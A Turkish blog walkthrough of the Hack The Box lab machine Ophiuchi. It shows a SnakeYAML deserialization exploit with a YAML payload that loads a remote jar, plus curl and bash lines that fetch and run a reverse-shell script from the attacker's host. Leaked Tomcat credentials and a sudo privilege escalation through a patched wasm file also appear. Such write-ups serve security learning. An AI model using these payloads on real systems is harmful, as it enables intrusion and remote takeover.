Hack The Box – Ophiuchi (TR)

htb-ophiuchi

Merhaba Arkadaşlar, bu yazıda hack the box platformunda yer alan, zorluk seviyesi orta olan makinelerden Ophiuchi makinesinin çözümünü anlatmaya çalışacağım.

Kullanıcı Alma

İlk olarak Ophiuchi makinesinin IP sini kullanarak nmap aracıyla mevcut portlara bakalım.

sudo nmap -sS -sC -sV 10.10.10.227

22 – ssh portu ve 8080 portu açık. 8080 portu üzerinde Apache Tomcat 9.0.38 servisinin çalıştığı görülüyor. Öncelikle 8080 portunu tarayıcı üzerinden inceleyelim.

Online Yaml Parser yapan bir sistemle karşılaştım. YAML, insan tarafından okunabilen bir veri serileştirme dilidir. Genellikle yapılandırma dosyaları için ve verilerin depolandığı veya iletildiği uygulamalarda kullanılır. Bu sebeple internette bunun üzerine bir zaafiyet araştırması yaptım. Java uygulamalarında kullanılan Snake YAML denilen birşeyle karşılaştım. Bununla ilgili bulduğum zaafiyet yazısından ilerleyebilirim. (Yazı Linki)


Yazının devamında bir github hesabı verilmişti (link). Dosyaları lokalime indirdikten sonra AwesomeScriptEngineFactory.java dosyasını kendime göre düzenledim.

"curl http://10.10.14.238/at.sh -o /tmp/at.sh"

Bu kod ile reverse shell alacağım at.sh dosyasını karşı makinede indirtip /tmp dizini altına yerleştireceğim.

"bash /tmp/at.sh"

Bu kod ile de at.sh dosyasını çalıştırtıp reverse shell alacağım.



Gerekli düzenlemeler sonrası github hesabı üzerinde verilen uygulama adımlarına göre zararlı jar dosyasını elde ettim.

javac src/artsploit/AwesomeScriptEngineFactory.java 
jar -cvf at.jar -C src/ .

Herşey hazır olduğuna göre github hesabı üzerinde bulunan yaml kodlarını kullanarak zararlı jar dosyasını karşı tarafa yükleyebilirim.

Öncesinde karşı makinenin benim lokalimde bulunan dosyaları çekebilmesi için bir web sunucusu başlatmam gerekiyor.

sudo python3 -m http.server 80

Ardından reverse shell alacağım at.sh dosyasında belirttiğim 4242 portunu netcat ile dinlemeye başladım.

nc -lvp 4242

Şimdi web sitesi üzerinde, github hesabından aldığım yaml kodlarını çalıştırabilirim.

!!javax.script.ScriptEngineManager [
   !!java.net.URLClassLoader [[
     !!java.net.URL ["http://10.10.14.238/at.jar"]
   ]]
 ]

ve oturum aldım.



Kullanıcıları ve dizinleri kontrol ettiğimde user.txt dosyasının /home/admin altında olduğunu gördüm. Bu sebeple admin kullanıcısı olmak için makine içeriğine bakınmaya başladım.

/opt/tomcat/conf altında tomcat-users.xml dosyası dikkatimi çekti. İçeriğine bakınca admin kullanıcısı ve parolasını gördüm.

admin
whythereisalimit


SSH ile admin kullanıcısına bağlanıp user.txt yi okudum.

user hash = 4fd8052db14b2d71d7470f29ae9a6cef



Root Alma

Admin kullanıcısı ile neler yapabiliyorum diye sudo -l komutunun çıktılarına bakındım.

sudo -l


Komut çıktısına göre go ile /opt/wasm-functions/index.go dosyasını çalıştırabilirim. İlgili dizine gidip dosyayı inceledim.

Go diliyle yazılmış bu betikte os/exec ve alt kısımda bulunan exec.Command(“/bin/sh”, “deploy.sh”) kodları dikkatimi çekti. main fonksiyonu içerisinde main.wasm dosyasını okuyor ve buna bağlı birşeyler gerçekleşiyor. Ek olarak f değeri 1’e eşit olursa deploy.sh dosyasını çalıştırabileceğimiz görülüyor. deploy.sh dosyasının da içeriğine bakalım.

Bu bilgiler ışığında bu dosyalar manipüle edilirse bize istediğimizi verecektir.

Daha rahat çalışabilmek için main.wasm dosyasını /tmp dizininde oluşturduğum .at klasörüne kopyaladım. Ardından deploy.sh adında bir dosya oluşturup birşeyler çalıştırabilir miyim diye test ettim.

sudo /usr/bin/go run /opt/wasm-functions/index.go

çıktı olarak “Not ready to deploy” ile karşılaştım. Burdan anlayacağımız if koşulu için f değeri 1’den farklı bir değer. if koşulu içerisindeki ifadeyi (f==”1″) şeklinde düzeltebilirsek else bloğuna geçebiliriz.

İfadeyi düzenleyebilmek için wasm dosyaları hakkında biraz araştırma yaptım ve web assembly dosyası olduğunu gördüm. Bu dosyaların binary formatta olduğunu ve text halinin .wat uzantılı olduğunu gördüm. Dosyanın .wat halini alıp düzenleyebilmek için biraz araştırma yaptım ve bir araçla karşılaştım. (Link). İstersek indirip çalıştırabiliriz. İstersek de online servis üzerinden devam edebiliriz. Ben online servislerden devam etmek istedim.

Öncelikle dosyamızın .wat halini görelim. Bunun için öncelikle main.wasm dosyasını lokalimize çektik.

Ardından bu link üzerinden dosyamızı .wat formatına çevirdik.

i32.const 0 ifadesi if bloğunu ifade ediyor. Eğer 0 değerini 1 yaparsak deploy.sh dosyasını çalıştırabiliriz.

0 değerini 1 yaptıktan sonra kodun tamamını kopyalayıp bu linkteki boşluğa yapıştırıp .wat dosyasını .wasm dosyasına çevirip indiriyoruz.

Elde ettiğimiz yeni main.wasm dosyasını makineye yüklüyoruz.

scp main.wasm [email protected]:/tmp/.at

Ardından deploy.sh dosyamızı oluşturalım. Bu kısımda ssh keyini de elde edip root kullanıcısı ile oturum alabilirdim ama işi uzatmamak adına direkt olarak /root/root.txt dosyasını okumayı denedim.

root hash = 3548a71ba5f7cbb9e2859c1026d16ae8

ve işim bitti.



Okuduğunuz için Teşekkürler…

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.